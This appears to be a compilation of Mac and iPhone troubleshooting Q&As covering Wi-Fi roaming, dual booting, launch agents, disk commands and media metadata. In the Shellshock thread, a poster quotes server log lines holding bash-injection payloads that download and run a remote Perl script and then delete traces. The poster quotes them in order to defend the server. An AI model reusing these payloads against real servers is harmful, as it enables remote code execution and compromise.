Can You "Turn Off" Order of Preference For Wi-Fi Networks As far as my MacBook is concerned, I have 3 Wi-Fi Networks in my house, with different names (it is actually one network, with 2 repeaters). I move around the house and frequently use the 2 repeaters in particular. Quite often I lose connection to one of the repeaters, and my laptop will reconnect, but possibly to the farther repeater with a weaker signal, depending on the order of preference set in advanced network preferences. Because this signal may be quite weak, I may lose Internet connection using this Wi-Fi repeater, but my laptop will not try to connect to the repeater with the stronger signal.

The only way to get round this is to continually change my network preferences whenever I move around the house, which is very annoying.

Is there any way I can get my laptop to have no preference between the two repeaters, and to connect to which ever has the stronger signal?

This is not a duplicate question because the other question is asking how to enable an order of preference on an iphone and this question is asking how to disable it on a Macbook. Not surprisingly, none of the answers there answer my question.

No, not without special functionality on the accesspoints themselves.

The thing you are referring to is called wireless roaming, something that usually can't be done with simple consumer hardware.

As for OS X, it only reconnects when the current connection is lost. If you can make sure there is no overlap between the accesspoints or repeatets, the connection will always be lost and then you will switch to the next network. This might be possible in your situation if your repeaters or accesspoints allow you to reduce it's radio power in it's settings.


Can I delete Lion and re-install Snow Leopard while keeping my Boot Camp partition? I upgraded my MacBook to Lion and am less than impressed. I figured I should re-install Snow Leopard.

Can I do that without destroying the lion partition?

If not, can I at least keep my Windows 7 Boot Camp partition? (And can I re-install Boot Camp on Snow Leopard and point it to the existing Boot Camp partition?)

Yes - the Macintosh installer only touches data within the partition when re-installing Snow Leopard, but there's no guarantee the windows software will still start since Apple doesn't support going backwards like that. (i.e. they don't test it so you have even less support that what they provide for Boot Camp in general)

You may have issues on the Boot Camp side if the older Boot Camp software sees that your boot camp partition is newer than it expects. This means it may not work, so you need to be backed up and prepared to reinstall the Windows side of things unless someone else can edit or answer that they have tested this out several times. It might be fine, but I would feel bad if you took the Mac side being easy as assurance that everything would work perfectly on the Windows side after you go backwards.

The prudent thing would be to install Snow Leopard onto an external drive and swap that inside the mac to test whether Boot Camp will work on your new setup. This involves time and potentially tech money, so you might want to check into virtualization costs if that is a viable alternative to you.


Dual Booting a Macbook Pro (OSX) with Ubuntu 12.10 I have been trying to dual boot my mid-2012 Macbook Pro running OSX Mountain Lion with Ubuntu 12.10 with a disk and a USB, and none of them are working. I have used disk utility to partition my hard drive for linux and burn the .iso image to the external drives (usb and dvd).

The only thing that happens at the end, is that the disk becomes useless by giving this message: "The disk you inserted was not readable by this computer."

I have gone into terminal and burned my iso through terminal, too. I also tried to do it with Ubuntu 12.04 instead of 12.10 with the same outcome.

BTW, for reference, I did the exact same thing as explained in this tutorial, except they can burn the dvd and I can't. Maybe this Ubuntu download is meant for Windows?

Also, I have rebooted my mac holding c and also tried selecting the cd by holding the option (alt) key. Nothing shows up.

I really don't know what the problem is. I wasted 5 dvd's, 2 cd's, and a USB. Can someone please help me out? Thanks!

I had a sucessful live USB boot on a MacBook Pro mid 2012 with Ubuntu 13.04. I just followed the official tutorial.

Try uninstalling rEFIt. The live boot doesn't require it: just press alt at boot and select the live USB.

If you still have problems, I recommend you the rEFInd boot manager, which is currently developed (rEFIt is abandoned).

Before you install Ubuntu from the live CD/USB, I recommend to do the partitioning from Disk Utility.


iphone 6: Making some apps not need passcode On my iPhone6, I have set a passcode to unlock. On a locked home screen, the screen can be slid up to run some apps (e.g. flashlight, timer/clock, calculator, camera, YouTube) in the locked state. Is it possible to add some other apps to run while it is locked?

For instance, I want the phone to have a passcode to unlock, but want to let the Dictionary app to be run without requiring to enter the passcode.

Is that possible?

With the exception of the Clock, Camera, and Calculator apps (which can be opened in Action Center (if you have it enabled in the lock screen)), there is no way to open any app without a passcode.

There is limited functionality with push notifications (but only on certain conditions, like, say, a tweet pops up in the lock screen and you can either retweet or favourite the tweet) and in Notification Center (if enabled in the lock screen), but that depends on whether or not the app has support for either one.


Is otool available in a stock OS X installation with no Xcode? Is /usr/bin/otool available in a stock OS X installation where Xcode hasn’t been installed?

No, it's part of the CLI Developer Tools package in the XCode download:

andy:/Volumes/Xcode and iOS SDK/Packages$ pkgutil  --payload-files DeveloperToolsCLI.pkg |grep otool
./usr/bin/otool
./usr/share/man/man1/otool.1


What happens if a MacBook Pro with macOS Catalina is restarted with open applications? Should we close open applications before restarting a MacBook Pro with macOS Catalina? Or is it okay to be lazy and restart it without closing them?

Most applications from Apple, and some others, will save state and restart properly.  Some will cause a pop-up saying "Application XYZ has canceled logout; quit and try again."  (Not exact words.)  Then if you're on "autopilot." you close the lid and when you next open it, it's still there.

To clarify that last confusing statement: Several times, I order "shutdown but re-open apps" and came back later to find it had not shut down because some application had asked me to do something and that canceled shutdown.

LibreOffice will come back up saying documents need to be recovered (and any edits immediately before shutdown will be lost).  GraphicConverter 10 comes up OK but sometimes fails to find the images it had open before.  You'd have to experiment with others.

I've gotten to the point where I close everything but Finder windows, Safari, and TextEdit before I shut down.


How to show "time until next scheduled calender" event (in menu bar) Is there a way to show time remaining until next calendar event? Preferably in the menu menu bar if possible? Maybe some other way to get something similar?

Here's a way to show the time remaining until the next calendar event in the menu bar.

Install icalBuddy in /usr/local/bin (the easiest way is with Homebrew: brew install ical-buddy)
Download and launch BitBar
Put the following script in the plugin folder you selected (as event.sh, for example):

#!/bin/bash

osascript <<'END'
set theEventInfo to do shell script "/usr/local/bin/icalBuddy -n -li 1 -uid -ec 'Birthdays' -ps '/|/' eventsToday+10 | sed 's/^.*(\\(.*\\)).*uid: \\(.*\\)$/\\1|\\2/'"

set prevDelimiter to AppleScript's text item delimiters
set AppleScript's text item delimiters to {"|"}
set theEventInfos to every text item of theEventInfo
set AppleScript's text item delimiters to prevDelimiter

set theEventCalendar to first item of theEventInfos
set theEventUID to second item of theEventInfos

tell application "Calendar"
    tell calendar theEventCalendar
        set theEvent to first event whose uid is theEventUID
        set duration to (start date of theEvent) - (current date)
        return "next event in " & duration div hours & ":" & text -2 thru -1 of ("0" & (duration div minutes - (duration div hours * 60))) & return & "---" & return & summary of theEvent & return & start date of theEvent
    end tell
end tell
END

A few notes:

There's room for improvements, but the basics are there.
It excludes the Birthdays calendar. It also can easily exclude all-day events by adding -ea in icalBuddy's parameters list


Strange slow down and frozen like behaviour of Google Chrome Version 40.0.2214.115 (64-bit) on Yosemite Do you also start facing such strange Chrome behaviour?

I am facing it mostly when browsing websites like YT with flash content. The browser freezes and I can not do basic things like e.g coping the selected text...

STRANGE: Chrome Version 40.0.2214.115 (64-bit)
OS X: 10.10.2

DISCLAIMER: I got my Macbook PRO retina 3 days ago from service, where they replaced graphic system (whole logic board).

EXPERIMENT:

create new OS X user and login into it, run Chrome and have a look if it works faster. For me it worked nice. Now I am trying to track reasons why it slow down so much on my current account.

Here are some things you can do to try to restore performance within Chrome within your own account. You could try each one at a time and see if it makes a difference.

Extensions

Open the extensions tab from the Chrome's Window menu. Try disabling all the extensions and running Chrome again to see if performance has improved.

Saved Application State

Close Chrome. Look for Chrome's saved application state folder within your account. You should find it at /Users/YOURUSERNAME/Library/Saved Application State/com.google.Chrome.savedState. You can delete or rename the folder, it just keeps a record of which windows were open when you closed the application and what state they were in i.e. which sites you had open.

Cache folder

Delete the /Users/YOURUSERNAME/Library/Caches/Google/Chrome folder and try Chrome again. Chrome will automatically recreate this folder.

Application Support folder

This folder contains a lot of things like cookies, history, extensions, some cached files, etc. So I'd try renaming the /Users/YOURUSERNAME/Library/Application Support/Google/Chrome folder and trying again. Chrome will automatically create a new folder. If it makes no difference to performance, delete the new one and rename the old one back.

Preference list file

Within /Users/YOURUSERNAME/Library/Preferences you should find the Chrome preference file.

  com.google.chrome.plist

Just rename the file and try Chrome again. Chrome will create a new one. As with before, try with the new file, but if it makes no difference just delete the new one and rename the old one back.

Still not performing well?

You could try running sudo opensnoop | grep Chrome in a Terminal window and checking it when performance degrades. Perhaps it is trying and struggling to do something.

You could also try checking the Console.app for Chrome related error messages. Just open Console.app and type Chrome into the search field in the top-right corner of the window.

Good luck!


Does an actual insurance policy exist to cover multiple MacBook Pros used by school students? I need to insure 18 MacBook Pro 15 retinas and 18 MacBook Pro 13 retinas for a school making a large purchase where the students are permitted to take the laptops home for homework. Does an insurance policy exist that will cover this? Both en masse or individual policies will work since parents will need to pay for their share of the policies. However, since parents are paying, the policy premium needs to make sense.

One of the companies I used in the past and still recommend today is Safeware.

They have solutions specifically for edu customers covering both in house staff and the student population at large.  Their claim service is pretty good - having done quite a few myself.


My ssh key won't work on my personal wifi network. How do I fix it I have a macbook pro that I'm using for work.

So I set up an ssh key for use with a bitbucket team account. My work email is a gmail account. But my bitbucket account is a team account with same email, of which I don't have the password. When I want to login to bitbucket it uses my work gmail account and password.

When I'm at work and connected to my office wifi, I can push and pull from bitbucket. But when I'm working remote and connected to my personal wifi and I try to use git with remote I always get the error ssh_exchange_identification: read: Connection reset by peer

How can I fix this.

Turned out that my company had restricted access to their bitbucket account. I eventually used our VPN settings and all works fine now.


No audio for mp4 files in Quicktime and ITunes but works for VLC I have some movies in mp4 format. They work perfectly on VLC (audio and video) but not with QuickTime and iTunes. I can only watch the video but without audio!
I have a MacBook Air 2017.

MP4 is a container format,the audio codec format could be aac mp3 ac3,etc.
iTunes and QuickTime can’t support all those codecs.You can use mediainfo to check the exact audio codec format.
You can see the link below
QuickTime compatible and non-compatible formats
Codecs supported by MP4 container
TL;DR according to my experience,probably AC3 DTS opus.
Although they are popular formats, quicktime does not support.


Text Expander on Mac OS X OS X Mountain Lion comes with Text Expander as an option, but it only seems to work in Safari and not in iMessage and other applications.

Is there any way to enable Text Expander throughout the entire OS?

I'm assuming you're talking about the Language & Text > Use symbol and text substitution option found in the System Preferences.

Per comment on Tuaw: Set up Mountain Lion's text expansion options

  It does work - at least in most native applications - but you need to turn it on in each application.  Per Apple Support: Turn on text substitution features in an applications. Control-click and choose Substitutions > Show Substitutions. (In some applications, you can also choose Edit > Substitutions > Show Substitutions.) In the Substitutions window, select the text substitution features you want to turn on.


Why does the webcam on my Dell SX2210 go all green and purple? I'm using an aluminium unibody MacBook (pre unibody 13" MacBook Pro) running 10.6.7 with a Dell SX2210 external monitor. The monitor has a built in webcam and USB hub. When I try to use the webcam with my Mac I often a very strange looking green and purple picture, as shown below.

The problem isn't specific to just one app as it's the same in both Photo Booth and Skype. Also the iSight built into my laptop works just fine.

The strange thing is that for a couple of minutes after plugging in the USB cable the picture is fine, but then it starts degrading - at first just a couple of of spots of green show up, and then it gradually spreads.

I've had the monitor for nearly 2 years now and it definitely didn't do this when I first got it. However recently I've been wanting to use Skype more and found that it's doing this.

I didn't install any drivers for it so I guess it's just using standard USB video drivers built into OS X.

I don't have easy access to another Mac or PC to try this with but I have tried a different USB cable, to no avail.

I'd greatly appreciate any suggestions!

Example of problem

That sounds like an issue with the camera - is the monitor still in warranty? Definitely try it with another computer if at all possible.


Merge "free space" with Mac OS Volume Let me tell the story from the beginning: I installed Big Sur on an unsupported Mac using guidelines at Medium. In the guide it was stated that I should create a separate partition for Big Sur, and shouldn't install it on my current one. I had my SSD Called "Macintosh SSD" and later I created a partition named "Macintosh SSD Big Sur" of size 40GBs. After installation I wanted to clear the "Macintosh SSD" of size 80GBs(with old MacOS) and merge it with the new "Macintosh SSD Big Sur".
This is what I initially had after formatting partition with the old MacOS

So, I used the command sudo diskutil apfs deleteContainer disk3 after which I had (free space) in /dev/disk1

I want to extend that 39.6GB partition which free space of 80,1GB but all the commands I googled do not work:((
Could you please guide me on what I should do now?
Thank you in advance!

Your free space is before your disk2. The start position of a partition is fixed, and you can only resize the partition by changing the end position. You should back up your data, erase the disk as one partition and restore from backup.


Swipe between pages doesn't work and unable two fingers scrolling up/down Since this morning, the "swipe between pages" functionality doesn't work anymore on my computer!

Web-browser specific description of the problem

Google Chrome

When I try to swipe between pages on Google Chrome, it just does not work. The window get shifted within its frame and come back to its original position.

Safari

When I try to swipe between pages on Safari, the window slightly shifts within its frame and get stuck into this position. Further two-finger movements (including scrolling up and down) are then not functioning. When I open a new window, the scrolling up/down is working again.

Firefox

When I try to swipe between pages on Firefox, nothing happen and further two-finger movements (including scrolling up and down) are then not functioning. When I open a new window, the scrolling up/down is working again.

How I tried to solve this issue

I opened system preferences to make sure that in the section trackpad, the option swipe between pages is activated. Yes, it is activated!

For some reason, I checked the always box next to Show scroll bars in the general section in the system preferences.

In Bash, I wrote the following command line: defaults write -g com.apple.trackpad.scrollBehavior 2 but nothing happens!

What worked as well for me was switching off two finger swipe from the trackpad settings ('Swipe between pages' setting), then turning it on again directly after. A lot more convenient than logging out and in again.

If the problem happens too often a PRAM reset often helps as well:

Shut down your Mac.
Locate the following keys on the keyboard:
Command (⌘), Option, P, and R. You will need to hold these keys down
simultaneously in step 4.
Turn on the computer.
Press and hold the
Command-Option-P-R keys before the gray screen appears. Hold the
keys down until the computer restarts and you hear the startup sound
for the second time.
Release the keys.


How to Save all photos together from e-mail when using Inbox app? I am using iPhone 6+ with iOS 9 version. Have installed 'Inbox' (by G-mail, not the old G-mail app).  Is there any way to save all of the pictures from an email, no matter how long it take to download?

Thanks a lot for your time to answer.

John

Don't know about Inbox, but in Mail app there's a button within the share options that allows you to do just what you want.


Does replugging a Thunderbolt display necessitate a system restart? Is there any danger in hot-plugging and un-plugging an external (Apple) Thunderbolt monitor (from USB-C), or is it safer to shutdown the computer first?

Is there any danger in hot-plugging and un-plugging an external (Apple) Thunderbolt monitor (from USB-C)?

It is absolutely normal to hot-plug/unplug an external display connected over Thunderbolt or USB-C port of your Mac.

It is not required to shutdown your Mac just to plug/unplug an external display.


VMware Fusion virtual machine from a local partition When you have a Windows partition on your system, VMware can see and boot a virtual machine from partition.

However, with other OS X and Linux partition, there's no such option. Is there a way to make a virtual machine and "link" the local partition?

This guide appears to show how to do this.  Looks like there's some manual commands on the command line to create a vmdk file with a pointer to the raw device:

http://andrewfarley.com/mac/raw-disks-from-vmware-fusion


Can you add 6channel audio files to iTunes? If not, has apple devised a way to down mix them? Today I downloaded a soundtrack composed of 19 tracks.
Their format is FLAC (24bit depth and 96kHz sampling).

In order to add them to my iTunes library and eventually to my iPod, I converted the files to ALAC (24 bit 48kHz) which is the maximum my 7th gen iPod classic can handle.

Problem is, iTunes won't let me import those converted files into the library.
I noticed those files have 6 audio channels.
I think that is the problem, and I've started looking for an answer.
Internet wasn't very clear, unfortunately.

My question is : is there a way to import those files to iTunes?
Is there a way to down mix the files to 2 channel audio or similar, so iTunes can handle them?

(I hope such a conversion wouldn't distort the audio)
I usually use XLD to convert my audio files, and there's no option for down mixing.

I sorted it out!
You can down mix the audio files from 6channel to 2 channel using ffmpeg
(you have to use the terminal, though).
The down mixing process is quick and there are no perceivable distortions in the audio.


Get output of a command on an ssh session using AppleScript I'm connecting to an ssh session with AppleScript as follows:
tell application "iTerm2"
  tell current window
   create tab with default profile
  end tell

  tell first session of current tab of current window
    split horizontally with default profile
    split vertically with default profile
    write text "ssh username@server"
    write text "ls" -- I need to get the output of command
  end tell
end tell

How can I get the output of the command on the remote machine?
The following didn't work : set x to  write text "ls"

Adding, e.g.,:
delay 1
set foo to contents

After:
write text "ls" -- I need to get the output of command

In the code of the OP, e.g.,:
tell application "iTerm"
    tell current window
        create tab with default profile
    end tell

    tell first session of current tab of current window
        split horizontally with default profile
        split vertically with default profile
        -- write text "ssh username@server"
        write text "ls" -- I need to get the output of command
        delay 1
        set foo to contents
    end tell
end tell

Gets the contents of the target in which one could then parse foo to get the information sought.

Note that while -- write text "ssh username@server" is commented out, nonetheless, I did test it with a valid ssh login and it did return the expected results in the contents.
Also a delay was absolutely necessary and the value of the delay may need to be adjusted as the condition warrants.


Add pronunciation to text to speech Is there any way to add a pronunciation to OSX text to speech service? I've google for the last few hours without a solution.

Yes, you can affect macOS's text to speech pronunciation. Everything you need to know is in Apple's Speech Synthesis in OS X.

Try these two commands in Terminal.app:

say "cat"

Now to have the individual letters spelt out:

say "[[char LTRL]] cat [[char NORM]]"

See Use Embedded Speech Commands to Fine-Tune Spoken Output for a long list of modifiers.

If you need to speak in another language, be sure to use an appropriate voice.


Remove HTC Sync Manager from autostart Every time I start my laptop, the HTC Sync Manager is launched automatically. I don't mean the automounter which is started when you connect your phone. I mean the the HTC Sync Manager itself which is magically started and places its icon on the top of the screen:

Question: How can I turn off that the HTC Sync Manager is started on every reboot?
I'm running a MacBook Pro with 10.9.
Edit:
When I go to Preferences->Users&Groups->LoginItems then the HTC Manager does not appear there. The directory /Library/StartupItems/ is empty as well.
Edit:
I have made the folder content of certain startup daemons available as requested by Frizlab. Please find here the contents of the command
tree ~/Library/LaunchAgents/ /Library/LaunchAgents/ /Library/LaunchDaemons/ \
   /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/

Additionally, I have reboot the MacBook without logging in and opened an ssh to it. It seems that the HTC application is started after the login. After I logged in, I find the following process
penny:~ patrick$ ps x | grep HTC
  232   ??  S      0:00.22 /Applications/HTC Sync Manager.app/Contents/Resources/HSMMonitor.app/Contents/MacOS/HSMMonitor -runMode autoLaunched
  401 s001  S+     0:00.00 grep HTC

Try

launchctl unload -w ~/Library/LaunchAgents/com.nero.HSMMonitor.plist


What cable/adapter should I buy to connect a MacBook Pro's Thunderbolt port to a TV via HDMI? I have a late 2011 15" MacBook Pro with Thunderbolt/mini DisplayPort. What cable do I need which will transmit both audio AND video?

Dr. Bott have HDMI adapters that can transmit audio as well as video, assuming your MacBook supports it (yours does): http://www.drbott.net/product/5499-MDHD/

Then, get a Thunderbolt to HDMI adapter by Apple which transmits both video and audio. Note that Thunderbolt is backwards compatible with Mini DisplayPort as far as these cables/adapters are concerned.


How to increment the font size of the Xcode UI? I googled and saw only how to increment the editor font size (code size).

But how do I enlarge the UI font size?

With Xcode 12 you can also adjust the Navigator font size inside the Preferences panel:
Xcode 12 -> Preferences -> General -> Navigator Size

By default, it matches the system font scale, but you can override the settings and choose one of three different options: "Small", "Medium" or "Large".


Can I remove the Dymo Label Webservice and still use the Dymo Application? I don't like an unnecessary permanent open port from the Dymo Label Webservice when I use the Dymo Application every few weeks.

Is it possible to remove the web service and still use the Application to print a label every now and then?

All I found on the web were instructions to remove the Dymo software completely, which is not my intention.

I have installed the newest version 8.6.1 of the Dymo Label software.

Method 1: Unload Launch Agent.

The Dymo Label Webservice is started by a launch agent while booting (or better: logging in with a user). You should be able to simply unload the related launch agent:

sudo launchctl list | grep dymo #check if agent com.dymo.dls.webservice is loaded
sudo launchctl unload /Library/LaunchAgents/com.dymo.dls.webservice.plist

You may have to use the force switch: ... unload -w ....

Method 2: Set RunAtLoad to false.

If you are not successful you can try to change the RunAtLoad key in /Library/LaunchAgents/com.dymo.dls.webservice.plist with

sudo nano /Library/LaunchAgents/com.dymo.dls.webservice.plist

from

<key>RunAtLoad</key>
<true/>

to

<key>RunAtLoad</key>
<false/>

Reboot and check if your Dymo label printer also works without the open port of the webservice.


How can you see the value of a cookie on an iPhone? I need to see the value of a cookie in Safari on an iPhone.  How do I do this?

Note that I'm not asking how to delete a cookie, or how to see that a cookie exists.  I'm trying to see the actual data stored in a cookie.

For example, on Firefox, I can go to Tools > Options > Privacy > Show Cookies and see the actual data stored in each cookie my browser has stored.

You can't see cookie data on the phone itself, but if you activate Settings > Safari > Advanced > Web Inspector you can connect the iPhone to an Apple computer with a cable and open Safari. Activate the Develop menu in Preferences > Advanced > Show Develop menu in menu bar

Now you can open a page on the iPhone and then select Develop > your_phone > the_page on the computer to see an inspector for the page on the phone. The second icon at the top is for storage and will show cookies for the page you show on the phone.

Sadly I can't find a way to show all cookies on the phone but if it is for development it is possible to monitor the cookie data.


Laptop wont connect to internet after sleep but will connect to network Ive got a MBP (spec below in screenshot) running OSX 10.10.5

Ive got an issue where every time i wake my MBP from sleep it will connect to the wifi network and my laptop will show up during a LAN scan, but will struggle to load pages it does eventually and intermittently load them, but takes for ever, even though I've got a 200mbps connection.

There are several things i can do to fix the problem, each one of them individually will fix the issue, but none are ideal :

connect to the network through a wired connection
restart my MBP
restart the wifi access point
restart the network switch

Any idea what might be causing the issue and how i can resolve it ? It doesn't happen on any of my colleagues devices only mine.

The below 2 screenshots are from the network tab in OSX :

For reference I've also attached a diagram of our network setup.

Here is a screenshot of a speedtest on my machine, this is with LAN cable attached, on wifi if i get the 5ghz band im getting c. 150mbps down, on the 2.4ghz band im getting c. 40mpbs down, either way it would be plenty fast, but when i have the issue with connection as above its more like <1mbps down. Even though all other machines on my network can achieve full speed.

Can I ask why are your DNS settings the way they are? This could definitely be a DNS issue and I don't recognize those addresses as common, just wondering.

In the Network pane of System Preferences I would want you to try and replicate this issue with a new configuration. Click the '+' symbol and select wireless adapter, try to replicate the issue now.

If the issue persists, please make a new user in System Preferences > Users & Groups with administrator access & no iCloud password. Log fully out of your user before logging into this new test account and try to replicate the issue again. Don't mess around with Network preferences -
 just let me know what you find. Also is there a reason you haven't updated beyond 10.10.5?


Can't unmount external disk used with Music app due to AMPLibraryAgent process I use an external storage disk for my Music library in macOS 10.15 Catalina, because the required file size is several times my internal SSD. After upgrading to Catalina, now when I connect the drive to use Music, I cannot eject the drive afterward, due to a lock by the AMPLibraryAgent process. Here is terminal output detailing the issue:

diskutil unmountdisk /dev/disk2
Unmount of disk2 failed: at least one volume could not be unmounted
Unmount was dissented by PID 710 (/System/Library/PrivateFrameworks/AMPLibrary.framework/Versions/A/Support/AMPLibraryAgent)
Dissenter parent PPID 1 (/sbin/launchd)

How can I remove this lock without quitting that service process or shutting down my computer?

You can try force unmounting the drive. It unmounts the drive if some process is already using it.

diskutil unmountdisk force /dev/disk2


How to transfer notes on the iPhone between different IMAP account? After adding a new email account (call it gmail-2), my default note app account has been accidentally changed to the new gmail account(gmail-2). I did not realize it until after tons of notes to it. So right now I have two accounts on my iPhone both have a lots of notes. So I wonder is there any way that I can transfer the all notes in the gmail-2 to the old account(call it gamil-1) automatically without copying all of them by hand?

I asked apple, the response is that there is no other way than copy and paste.


What is the iPad's screen refresh rate? Is it 60 Hz like the phones/touches?

60Hz.

Apple DTS has not changed any of their answers about 60Hz refresh rates with respect to any device model, and no one has reported any higher rate.

Update: In 2017, Apple introduced new iPad Pro devices capable of higher display refresh rates than 60 Hz.


Swipe settings in El Capitan Mail.app This is a different question from this.

Is anybody able to develop a Terminal command that will change the behaviour of swipe settings in Mail?

By default swipe right is 'Mark as Unread/Read' while swipe left is 'Trash'.

The Preferences setting is only able to change the swipe left gesture to 'Archive' instead of 'Trash'. However no such customisation is provided for the swipe right gesture.

I want to be able to swipe right to Archive; it feels more natural and moreover this is the setting on my iPhone as well.

I'm going to go out on a limb and say there is no hidden setting to do this.

I tried making a new user account and switching the primary language to Arabic - so that the text and mail panes are laid out right-to-left instead of left-to-right and the swipe gesture is still:

swipe to right marks as unread/read
swipe to left is trash

My thinking is that if there was an allowance for differing behavior, Apple would have implemented that change in the swipe for languages with right-to-left text flow direction.

I could be wrong and hope someone posts a better answer if I am actually wrong in my guess. My thinking is you'd want to file a bug report to ask for the change if you don't think Apple will re-evaluate this design choice on their own accord.


How can I use wifi only for handoff? Ok OSX wizards...

I have a dilemma. In order to use handoff/continuity at work I need to connect my Mac  and iPad/iPhone to the same wifi network. Moreover, I also need to be connected to the separate office ethernet LAN to get my job done.

We keep the networks separate for security purposes. I don't want to make my mac the way the wifi network can be used to gain access to the internal ethernet network.

It works when I'm connected to both. But all my Mac's remote services are exposed on the wifi network. No good docs on advanced firewall config. I have no idea how the built-in firewalling interacts with PF. Do I even want to go digging in the depths of PF? Can this be done securely without massive headache? Is there a better way?

This is quite easy.

Open wireless networking and remove the password for any/all networks you don't want to join and then toggle the Wi-Fi off and wait a dozen seconds or so before turning it on again.

The Wireless radio will be on and ready for handoff or AirDrop but not joined to any network/SSID. The computer will work fine with wired ethernet and a Wi-Fi radio on but not associated with any network that's in range.


How can I combine internet from two sources on my macbook and get increased speed? I have two sources of internet,

I want to combine both the internet sources and get increased speed.
I have noticed by testing, I can either use Ethernet internet or the Wifi Internet at one time, but by default both don't combine.

What you're referring to is called Internet Bonding.

You can't simply turn on two different Internet connections and have everything work - you need an intermediary whether it be a dedicated router or 3rd party software to properly manage the packets as they split between the two connections and then have them reassemble back on the other end.

It's very similar to Link Aggregation but instead of being internal where your host (computer) and switch must support it, you must have an ISP or a 3rd party service that will do this for you.

Here's a few companies that do Internet bonding:

Speedify
XRoads Networks
ZifiLink (3G, 4G, LTE bonding)

Normally, this is done at the Enterprise level where a router can have multiple WAN connections (I did this with 3Com/HP and Cisco gear) or in remote location where broadband was more expensive than multiple cellular data networks.

As for software, there's

OpenMCTC Router
pfSense Multiple WAN connections

In these instances, you're acting as the bonding service provider.  Given that it's available on pfSense which is the same firewall that macOS uses (pf) it's conceivable that you can bond multiple Internet connections using the built in firewall.


How to send text with telnet in Terminal? I would like to send some text to a port on my machine using telnet in the Mac OS X Terminal.

I start telnet using:

telnet localhost 8080

Then I type some text. Is that text send automatically or do I have to do something to send the text?

Here's a simple Python server:

#!/usr/bin/env python

import socket

TCP_IP = '127.0.0.1'
TCP_PORT = 5005
BUFFER_SIZE = 10  # Normally 1024, but we want fast response

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)

conn, addr = s.accept()
print 'Connection address:', addr
while 1:
    data = conn.recv(BUFFER_SIZE)
    if not data: break
    print "received data:", data
    conn.send(data)  # echo
conn.close()

Source

Save it as server.py, and run it python server.py.

Then try to connect using the terminal

telnet 127.0.0.1 5005

Then just type anything and press return

The server print the data in the console and send it back to you.

That way, you'll know what you have to do to send data via telnet.


Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?

If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:

http://tenfourfox.blogspot.com/2014/09/bashing-bash-one-more-time-updated.html

At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed.  So it's better than nothing, but you'll want to keep watching for future updates.


Zoom In Keyboard Shorcut Changed In ML I have MacBook Pro and in Lion for zoomIn I used control + trackpad up. now it has changed. How can I changed it back?

It appears that the install update of Mountain Lion disabled that feature. You can re-enable it in:

System Preferences > Accessibility > Zoom > Use scroll gesture with modifier keys to zoom


exiftool doesn't remove meta data of MP4 (stuff like "Promotion URL" and "Author URL") I have a MP4 file with ad URI in meta data. I wish to remove those:

exiftool example.mp4
ExifTool Version Number         : 10.40
File Name                       : example.mp4
Directory                       : .
File Size                       : 12 MB
File Modification Date/Time     : 2017:03:19 06:53:08+01:00
File Access Date/Time           : 2017:03:19 06:53:08+01:00
File Inode Change Date/Time     : 2017:03:19 06:53:08+01:00
File Permissions                : rw-r--r--
File Type                       : MP4
File Type Extension             : mp4
MIME Type                       : video/mp4
Major Brand                     : MP4  Base Media v1 [IS0 14496-12:2003]
Minor Version                   : 0.2.0
Compatible Brands               : isom, iso2, avc1, mp41
Movie Data Size                 : 12077146
Movie Data Offset               : 11050
Movie Header Version            : 0
Create Date                     : 0000:00:00 00:00:00
Modify Date                     : 0000:00:00 00:00:00
Time Scale                      : 1000
Duration                        : 0:00:30
Preferred Rate                  : 1
Preferred Volume                : 100.00%
Preview Time                    : 0 s
Preview Duration                : 0 s
Poster Time                     : 0 s
Selection Time                  : 0 s
Selection Duration              : 0 s
Current Time                    : 0 s
Next Track ID                   : 3
Track Header Version            : 0
Track Create Date               : 0000:00:00 00:00:00
Track Modify Date               : 2016:12:09 04:26:57
Track ID                        : 1
Track Duration                  : 0:00:30
Track Layer                     : 0
Track Volume                    : 0.00%
Image Width                     : 360
Image Height                    : 640
Graphics Mode                   : srcCopy
Op Color                        : 0 0 0
Compressor ID                   : avc1
Source Image Width              : 360
Source Image Height             : 640
X Resolution                    : 72
Y Resolution                    : 72
Bit Depth                       : 24
Video Frame Rate                : 29.97
Matrix Structure                : 1 0 0 0 1 0 0 0 1
Media Header Version            : 0
Media Create Date               : 0000:00:00 00:00:00
Media Modify Date               : 0000:00:00 00:00:00
Media Time Scale                : 44100
Media Duration                  : 0:00:30
Media Language Code             : und
Handler Type                    : Audio Track
Handler Description             : SoundHandler
Balance                         : 0
Audio Format                    : mp4a
Audio Channels                  : 2
Audio Bits Per Sample           : 16
Audio Sample Rate               : 44100
Subtitle                        : example.com
Promotion URL                   : example.com
Author URL                      : example.com
Category                        : example.com
Avg Bitrate                     : 3.17 Mbps
Image Size                      : 360x640
Megapixels                      : 0.230
Rotation                        : 0

I tried

exiftool -all= example.mp4
    1 image files updated

But it didn't work, the URI still in MP4.

Exiftool is great at removing metadata from photos and viewing metadata from others. ffmpeg is must better to use to remove metadata from videos.  A generic "remove all" command would be this. [credit to a guy who once wrote  this on a forum. You sir, are amazing.]

